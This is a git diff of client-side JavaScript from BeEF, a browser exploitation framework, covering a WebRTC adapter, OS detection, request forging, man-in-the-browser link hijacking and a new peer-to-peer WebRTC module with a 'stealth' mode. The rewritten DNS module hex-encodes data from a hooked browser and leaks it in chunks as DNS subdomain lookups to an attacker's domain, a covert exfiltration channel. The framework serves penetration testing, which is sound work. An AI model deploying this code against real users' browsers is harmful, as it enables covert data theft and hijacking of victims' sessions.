// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -703,4 +703,6 @@ function InitDeviceScan()
|
||||
isTierGenericMobile = DetectTierOtherPhones();
|
||||
};
|
||||
|
||||
InitDeviceScan()
|
||||
try {
|
||||
InitDeviceScan();
|
||||
}catch(e){}
|
||||
|
||||
409
core/main/client/lib/webrtcadapter.js
Normal file
409
core/main/client/lib/webrtcadapter.js
Normal file
@@ -0,0 +1,409 @@
|
||||
/*
|
||||
* Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
|
||||
*
|
||||
* Use of this source code is governed by a BSD-style license
|
||||
* that can be found in the LICENSE file in the root of the source
|
||||
* tree.
|
||||
*/
|
||||
|
||||
/* More information about these options at jshint.com/docs/options */
|
||||
/* jshint browser: true, camelcase: true, curly: true, devel: true,
|
||||
eqeqeq: true, forin: false, globalstrict: true, node: true,
|
||||
quotmark: single, undef: true, unused: strict */
|
||||
/* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
|
||||
mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
|
||||
/* exported trace,requestUserMedia */
|
||||
|
||||
'use strict';
|
||||
|
||||
var getUserMedia = null;
|
||||
var attachMediaStream = null;
|
||||
var reattachMediaStream = null;
|
||||
var webrtcDetectedBrowser = null;
|
||||
var webrtcDetectedVersion = null;
|
||||
var webrtcMinimumVersion = null;
|
||||
|
||||
function trace(text) {
|
||||
// This function is used for logging.
|
||||
if (text[text.length - 1] === '\n') {
|
||||
text = text.substring(0, text.length - 1);
|
||||
}
|
||||
if (window.performance) {
|
||||
var now = (window.performance.now() / 1000).toFixed(3);
|
||||
beef.debug(now + ': ' + text);
|
||||
} else {
|
||||
beef.debug(text);
|
||||
}
|
||||
}
|
||||
|
||||
if (navigator.mozGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = 'firefox';
|
||||
|
||||
// the detected firefox version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
|
||||
// the minimum firefox version still supported by adapter.
|
||||
webrtcMinimumVersion = 31;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
if (webrtcDetectedVersion < 38) {
|
||||
// .urls is not supported in FF < 38.
|
||||
// create RTCIceServers with a single url.
|
||||
if (pcConfig && pcConfig.iceServers) {
|
||||
var newIceServers = [];
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
var server = pcConfig.iceServers[i];
|
||||
if (server.hasOwnProperty('urls')) {
|
||||
for (var j = 0; j < server.urls.length; j++) {
|
||||
var newServer = {
|
||||
url: server.urls[j]
|
||||
};
|
||||
if (server.urls[j].indexOf('turn') === 0) {
|
||||
newServer.username = server.username;
|
||||
newServer.credential = server.credential;
|
||||
}
|
||||
newIceServers.push(newServer);
|
||||
}
|
||||
} else {
|
||||
newIceServers.push(pcConfig.iceServers[i]);
|
||||
}
|
||||
}
|
||||
pcConfig.iceServers = newIceServers;
|
||||
}
|
||||
}
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
};
|
||||
|
||||
// The RTCSessionDescription object.
|
||||
window.RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
window.RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = (webrtcDetectedVersion < 38) ?
|
||||
function(c, onSuccess, onError) {
|
||||
var constraintsToFF37 = function(c) {
|
||||
if (typeof c !== 'object' || c.require) {
|
||||
return c;
|
||||
}
|
||||
var require = [];
|
||||
Object.keys(c).forEach(function(key) {
|
||||
var r = c[key] = (typeof c[key] === 'object') ?
|
||||
c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined) {
|
||||
r.min = r.max = r.exact;
|
||||
delete r.exact;
|
||||
}
|
||||
if (r.min !== undefined || r.max !== undefined) {
|
||||
require.push(key);
|
||||
}
|
||||
if (r.ideal !== undefined) {
|
||||
c.advanced = c.advanced || [];
|
||||
var oc = {};
|
||||
oc[key] = {min: r.ideal, max: r.ideal};
|
||||
c.advanced.push(oc);
|
||||
delete r.ideal;
|
||||
if (!Object.keys(r).length) {
|
||||
delete c[key];
|
||||
}
|
||||
}
|
||||
});
|
||||
if (require.length) {
|
||||
c.require = require;
|
||||
}
|
||||
return c;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c));
|
||||
c.audio = constraintsToFF37(c.audio);
|
||||
c.video = constraintsToFF37(c.video);
|
||||
beef.debug('ff37: ' + JSON.stringify(c));
|
||||
return navigator.mozGetUserMedia(c, onSuccess, onError);
|
||||
} : navigator.mozGetUserMedia.bind(navigator);
|
||||
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Shim for mediaDevices on older versions.
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
addEventListener: function() { },
|
||||
removeEventListener: function() { }
|
||||
};
|
||||
}
|
||||
navigator.mediaDevices.enumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices || function() {
|
||||
return new Promise(function(resolve) {
|
||||
var infos = [
|
||||
{kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
|
||||
{kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
|
||||
];
|
||||
resolve(infos);
|
||||
});
|
||||
};
|
||||
|
||||
if (webrtcDetectedVersion < 41) {
|
||||
// Work around http://bugzil.la/1169665
|
||||
var orgEnumerateDevices =
|
||||
navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
|
||||
navigator.mediaDevices.enumerateDevices = function() {
|
||||
return orgEnumerateDevices().catch(function(e) {
|
||||
if (e.name === 'NotFoundError') {
|
||||
return [];
|
||||
}
|
||||
throw e;
|
||||
});
|
||||
};
|
||||
}
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
beef.debug('Attaching media stream');
|
||||
element.mozSrcObject = stream;
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
beef.debug('Reattaching media stream');
|
||||
to.mozSrcObject = from.mozSrcObject;
|
||||
};
|
||||
|
||||
} else if (navigator.webkitGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = 'chrome';
|
||||
|
||||
// the detected chrome version.
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
|
||||
|
||||
// the minimum chrome version still supported by adapter.
|
||||
webrtcMinimumVersion = 38;
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
window.RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
var origGetStats = pc.getStats.bind(pc);
|
||||
pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
|
||||
// If selector is a function then we are in the old style stats so just
|
||||
// pass back the original getStats format to avoid breaking old users.
|
||||
if (typeof selector === 'function') {
|
||||
return origGetStats(selector, successCallback);
|
||||
}
|
||||
|
||||
var fixChromeStats = function(response) {
|
||||
var standardReport = {};
|
||||
var reports = response.result();
|
||||
reports.forEach(function(report) {
|
||||
var standardStats = {
|
||||
id: report.id,
|
||||
timestamp: report.timestamp,
|
||||
type: report.type
|
||||
};
|
||||
report.names().forEach(function(name) {
|
||||
standardStats[name] = report.stat(name);
|
||||
});
|
||||
standardReport[standardStats.id] = standardStats;
|
||||
});
|
||||
|
||||
return standardReport;
|
||||
};
|
||||
var successCallbackWrapper = function(response) {
|
||||
successCallback(fixChromeStats(response));
|
||||
};
|
||||
return origGetStats(successCallbackWrapper, selector);
|
||||
};
|
||||
|
||||
return pc;
|
||||
};
|
||||
|
||||
// add promise support
|
||||
['createOffer', 'createAnswer'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var self = this;
|
||||
if (arguments.length < 1 || (arguments.length === 1 &&
|
||||
typeof(arguments[0]) === 'object')) {
|
||||
var opts = arguments.length === 1 ? arguments[0] : undefined;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [resolve, reject, opts]);
|
||||
});
|
||||
} else {
|
||||
return nativeMethod.apply(this, arguments);
|
||||
}
|
||||
};
|
||||
});
|
||||
|
||||
['setLocalDescription', 'setRemoteDescription',
|
||||
'addIceCandidate'].forEach(function(method) {
|
||||
var nativeMethod = webkitRTCPeerConnection.prototype[method];
|
||||
webkitRTCPeerConnection.prototype[method] = function() {
|
||||
var args = arguments;
|
||||
var self = this;
|
||||
return new Promise(function(resolve, reject) {
|
||||
nativeMethod.apply(self, [args[0],
|
||||
function() {
|
||||
resolve();
|
||||
if (args.length >= 2) {
|
||||
args[1].apply(null, []);
|
||||
}
|
||||
},
|
||||
function(err) {
|
||||
reject(err);
|
||||
if (args.length >= 3) {
|
||||
args[2].apply(null, [err]);
|
||||
}
|
||||
}]
|
||||
);
|
||||
});
|
||||
};
|
||||
});
|
||||
|
||||
// getUserMedia constraints shim.
|
||||
getUserMedia = function(c, onSuccess, onError) {
|
||||
var constraintsToChrome = function(c) {
|
||||
if (typeof c !== 'object' || c.mandatory || c.optional) {
|
||||
return c;
|
||||
}
|
||||
var cc = {};
|
||||
Object.keys(c).forEach(function(key) {
|
||||
if (key === 'require' || key === 'advanced') {
|
||||
return;
|
||||
}
|
||||
var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
|
||||
if (r.exact !== undefined && typeof r.exact === 'number') {
|
||||
r.min = r.max = r.exact;
|
||||
}
|
||||
var oldname = function(prefix, name) {
|
||||
if (prefix) {
|
||||
return prefix + name.charAt(0).toUpperCase() + name.slice(1);
|
||||
}
|
||||
return (name === 'deviceId') ? 'sourceId' : name;
|
||||
};
|
||||
if (r.ideal !== undefined) {
|
||||
cc.optional = cc.optional || [];
|
||||
var oc = {};
|
||||
if (typeof r.ideal === 'number') {
|
||||
oc[oldname('min', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
oc = {};
|
||||
oc[oldname('max', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
} else {
|
||||
oc[oldname('', key)] = r.ideal;
|
||||
cc.optional.push(oc);
|
||||
}
|
||||
}
|
||||
if (r.exact !== undefined && typeof r.exact !== 'number') {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname('', key)] = r.exact;
|
||||
} else {
|
||||
['min', 'max'].forEach(function(mix) {
|
||||
if (r[mix] !== undefined) {
|
||||
cc.mandatory = cc.mandatory || {};
|
||||
cc.mandatory[oldname(mix, key)] = r[mix];
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
if (c.advanced) {
|
||||
cc.optional = (cc.optional || []).concat(c.advanced);
|
||||
}
|
||||
return cc;
|
||||
};
|
||||
beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
|
||||
c.audio = constraintsToChrome(c.audio);
|
||||
c.video = constraintsToChrome(c.video);
|
||||
beef.debug('chrome: ' + JSON.stringify(c));
|
||||
return navigator.webkitGetUserMedia(c, onSuccess, onError);
|
||||
};
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
if (typeof element.srcObject !== 'undefined') {
|
||||
element.srcObject = stream;
|
||||
} else if (typeof element.src !== 'undefined') {
|
||||
element.src = URL.createObjectURL(stream);
|
||||
} else {
|
||||
beef.debug('Error attaching stream to element.');
|
||||
}
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.src = from.src;
|
||||
};
|
||||
|
||||
if (!navigator.mediaDevices) {
|
||||
navigator.mediaDevices = {getUserMedia: requestUserMedia,
|
||||
enumerateDevices: function() {
|
||||
return new Promise(function(resolve) {
|
||||
var kinds = {audio: 'audioinput', video: 'videoinput'};
|
||||
return MediaStreamTrack.getSources(function(devices) {
|
||||
resolve(devices.map(function(device) {
|
||||
return {label: device.label,
|
||||
kind: kinds[device.kind],
|
||||
deviceId: device.id,
|
||||
groupId: ''};
|
||||
}));
|
||||
});
|
||||
});
|
||||
}};
|
||||
// in case someone wants to listen for the devicechange event.
|
||||
navigator.mediaDevices.addEventListener = function() { };
|
||||
navigator.mediaDevices.removeEventListener = function() { };
|
||||
}
|
||||
} else if (navigator.mediaDevices && navigator.userAgent.match(
|
||||
/Edge\/(\d+).(\d+)$/)) {
|
||||
webrtcDetectedBrowser = 'edge';
|
||||
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
|
||||
|
||||
// the minimum version still supported by adapter.
|
||||
webrtcMinimumVersion = 12;
|
||||
|
||||
attachMediaStream = function(element, stream) {
|
||||
element.srcObject = stream;
|
||||
};
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.srcObject = from.srcObject;
|
||||
};
|
||||
} else {
|
||||
// console.log('Browser does not appear to be WebRTC-capable');
|
||||
}
|
||||
|
||||
// Returns the result of getUserMedia as a Promise.
|
||||
function requestUserMedia(constraints) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
getUserMedia(constraints, resolve, reject);
|
||||
});
|
||||
}
|
||||
|
||||
if (typeof module !== 'undefined') {
|
||||
module.exports = {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
} else if ((typeof require === 'function') && (typeof define === 'function')) {
|
||||
// Expose objects and functions when RequireJS is doing the loading.
|
||||
define([], function() {
|
||||
return {
|
||||
RTCPeerConnection: window.RTCPeerConnection,
|
||||
getUserMedia: getUserMedia,
|
||||
attachMediaStream: attachMediaStream,
|
||||
reattachMediaStream: reattachMediaStream,
|
||||
webrtcDetectedBrowser: webrtcDetectedBrowser,
|
||||
webrtcDetectedVersion: webrtcDetectedVersion,
|
||||
webrtcMinimumVersion: webrtcMinimumVersion
|
||||
//requestUserMedia: not exposed on purpose.
|
||||
//trace: not exposed on purpose.
|
||||
};
|
||||
});
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -106,7 +106,7 @@ beef.mitb = {
|
||||
history.pushState({ Be:"EF" }, title, e.currentTarget);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
}
|
||||
return false;
|
||||
},
|
||||
@@ -219,4 +219,4 @@ beef.mitb = {
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.mitb');
|
||||
beef.regCmp('beef.mitb');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -257,6 +257,7 @@ beef.net = {
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
response.port_status = "open";
|
||||
},
|
||||
complete: function (jqXHR, textStatus) {
|
||||
response.status_code = jqXHR.status;
|
||||
@@ -273,7 +274,7 @@ beef.net = {
|
||||
response.port_status = "open";
|
||||
}
|
||||
}
|
||||
}).done(function () {
|
||||
}).always(function () {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
@@ -287,6 +288,10 @@ beef.net = {
|
||||
* - allowCrossDomain: set cross-domain requests as allowed or blocked
|
||||
*
|
||||
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
|
||||
* Example usage:
|
||||
* beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
|
||||
* true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
|
||||
* alert(response.response_body)})
|
||||
*/
|
||||
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
|
||||
@@ -362,6 +367,8 @@ beef.net = {
|
||||
}
|
||||
},
|
||||
|
||||
data: data,
|
||||
|
||||
// http server responded successfully
|
||||
success: function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -18,49 +18,67 @@ beef.net.dns = {
|
||||
|
||||
handler: "dns",
|
||||
|
||||
send: function(msgId, messageString, domain, wait, callback) {
|
||||
send: function(msgId, data, domain, callback) {
|
||||
|
||||
var dom = document.createElement('b');
|
||||
var encode_data = function(str) {
|
||||
var result="";
|
||||
for(i=0;i<str.length;++i) {
|
||||
result+=str.charCodeAt(i).toString(16).toUpperCase();
|
||||
}
|
||||
return result;
|
||||
};
|
||||
|
||||
// DNS settings
|
||||
var max_domain_length = 255-5-5-5-5-5;
|
||||
var max_segment_length = max_domain_length - domain.length;
|
||||
var encodedData = encodeURI(encode_data(data));
|
||||
|
||||
// splits strings into chunks
|
||||
String.prototype.chunk = function(n) {
|
||||
if (typeof n=='undefined') n=100;
|
||||
return this.match(RegExp('.{1,'+n+'}','g'));
|
||||
};
|
||||
beef.debug(encodedData);
|
||||
beef.debug("_encodedData_ length: " + encodedData.length);
|
||||
|
||||
// XORs a string
|
||||
xor_encrypt = function(str, key) {
|
||||
var result="";
|
||||
for(i=0;i<str.length;++i) {
|
||||
result+=String.fromCharCode(key^str.charCodeAt(i));
|
||||
}
|
||||
return result;
|
||||
};
|
||||
// limitations to DNS according to RFC 1035:
|
||||
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
|
||||
// o Domain names are limited to 255 characters in length (including dots)
|
||||
// o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
|
||||
// o Subdomains are limited to 63 characters in length (including the trailing dot)
|
||||
|
||||
// sends a DNS request
|
||||
sendQuery = function(query) {
|
||||
beef.debug("Requesting: "+query);
|
||||
var img = new Image;
|
||||
img.src = "http://"+query;
|
||||
img.onload = function() { dom.removeChild(this); }
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
};
|
||||
// DNS request structure:
|
||||
// COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
|
||||
//max_length: 3. 3 . 3 . 63 . x
|
||||
|
||||
// encode message
|
||||
var xor_key = Math.floor(Math.random()*99000+1000);
|
||||
encoded_message = encodeURI(xor_encrypt(messageString, xor_key)).replace(/%/g,".");
|
||||
// only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
|
||||
// for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
|
||||
var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
|
||||
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
|
||||
var max_data_segment_length = 63; // by RFC
|
||||
|
||||
// Split message into segments
|
||||
segments = encoded_message.chunk(max_segment_length)
|
||||
for (seq=1; seq<=segments.length; seq++) {
|
||||
// send segment
|
||||
sendQuery(msgId+"."+seq+"."+segments.length+"."+xor_key+segments[seq-1]+"."+domain);
|
||||
}
|
||||
beef.debug("max_data_segment_length: " + max_data_segment_length);
|
||||
|
||||
var dom = document.createElement('b');
|
||||
|
||||
String.prototype.chunk = function(n) {
|
||||
if (typeof n=='undefined') n=100;
|
||||
return this.match(RegExp('.{1,'+n+'}','g'));
|
||||
};
|
||||
|
||||
var sendQuery = function(query) {
|
||||
var img = new Image;
|
||||
//img.src = "http://"+query;
|
||||
img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
|
||||
img.onload = function() { dom.removeChild(this); }
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
|
||||
//experimental
|
||||
//setTimeout(function(){dom.removeChild(img)},1000);
|
||||
};
|
||||
|
||||
var segments = encodedData.chunk(max_data_segment_length);
|
||||
|
||||
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
|
||||
|
||||
beef.debug(segments.length);
|
||||
|
||||
for (var seq=1; seq<=segments.length; seq++) {
|
||||
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
|
||||
}
|
||||
|
||||
// callback - returns the number of queries sent
|
||||
if (!!callback) callback(segments.length);
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -14,14 +14,18 @@ beef.os = {
|
||||
* http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
|
||||
*/
|
||||
getDefaultBrowser: function() {
|
||||
var mt = document.mimeType;
|
||||
var result = "Unknown"
|
||||
if (mt) {
|
||||
if (mt == "Safari Document") result = "Safari";
|
||||
if (mt == "Firefox HTML Document") result = "Firefox";
|
||||
if (mt == "Chrome HTML Document") result = "Chrome";
|
||||
if (mt == "HTML Document") result = "Internet Explorer";
|
||||
if (mt == "Opera Web Document") result = "Opera";
|
||||
try {
|
||||
var mt = document.mimeType;
|
||||
if (mt) {
|
||||
if (mt == "Safari Document") result = "Safari";
|
||||
if (mt == "Firefox HTML Document") result = "Firefox";
|
||||
if (mt == "Chrome HTML Document") result = "Chrome";
|
||||
if (mt == "HTML Document") result = "Internet Explorer";
|
||||
if (mt == "Opera Web Document") result = "Opera";
|
||||
}
|
||||
} catch (e) {
|
||||
beef.debug("[os] getDefaultBrowser: "+e.message);
|
||||
}
|
||||
return result;
|
||||
},
|
||||
@@ -75,6 +79,10 @@ beef.os = {
|
||||
|
||||
isWin8: function() {
|
||||
return (this.ua.match('(Windows NT 6.2)')) ? true : false;
|
||||
},
|
||||
|
||||
isWin81: function() {
|
||||
return (this.ua.match('(Windows NT 6.3)')) ? true : false;
|
||||
},
|
||||
|
||||
isOpenBSD: function() {
|
||||
@@ -134,7 +142,7 @@ beef.os = {
|
||||
},
|
||||
|
||||
isWindows: function() {
|
||||
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWinPhone();
|
||||
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWin81() || this.isWinPhone();
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
@@ -152,6 +160,7 @@ beef.os = {
|
||||
if(this.isWinVista()) return 'Windows Vista';
|
||||
if(this.isWin7()) return 'Windows 7';
|
||||
if(this.isWin8()) return 'Windows 8';
|
||||
if(this.isWin81()) return 'Windows 8.1';
|
||||
|
||||
//Nokia
|
||||
if(this.isNokia()) {
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -79,7 +79,7 @@ beef.updater = {
|
||||
try {
|
||||
command();
|
||||
} catch(e) {
|
||||
console.error('execute_commands - command failed to execute: ' + e.message);
|
||||
beef.debug('execute_commands - command failed to execute: ' + e.message);
|
||||
// prints the command source to be executed, to better trace errors
|
||||
// beef.client_debug must be enabled in the main config
|
||||
beef.debug(command.toString());
|
||||
|
||||
646
core/main/client/webrtc.js
Normal file
646
core/main/client/webrtc.js
Normal file
@@ -0,0 +1,646 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
/**
|
||||
* @Literal object: beef.webrtc
|
||||
*
|
||||
* Manage the WebRTC peer to peer communication channels.
|
||||
* This objects contains all the necessary client-side WebRTC components,
|
||||
* allowing browsers to use WebRTC to communicate with each other.
|
||||
* To provide signaling, the WebRTC extension sets up custom listeners.
|
||||
* /rtcsignal - for sending RTC signalling information between peers
|
||||
* /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
|
||||
*
|
||||
* To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
|
||||
* the signalling.
|
||||
*
|
||||
* This is all mostly a Proof of Concept
|
||||
*/
|
||||
|
||||
beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
|
||||
// The key is the peer id
|
||||
globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
|
||||
// these objects persist outside of everything else
|
||||
// The key is the peer id
|
||||
rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
|
||||
// false - i.e not stealthed; or
|
||||
// <peerid> - i.e. the id of the browser which initiated stealth mode
|
||||
rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
|
||||
// The key is the peer id
|
||||
|
||||
// Beefwebrtc object - wraps everything together for a peer connection
|
||||
// One of these per peer connection, and will be stored in the beefrtc global hash
|
||||
function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
|
||||
this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
|
||||
this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
|
||||
this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
|
||||
this.turnjson = turnjson; // set of TURN servers in the format:
|
||||
// {"username": "<username", "password": "<password>", "uris": [
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>",
|
||||
// "turn:<ip>:<port>?transport=<udp/tcp>"]}
|
||||
this.started = false; // Has signaling / dialing started for this peer
|
||||
this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
|
||||
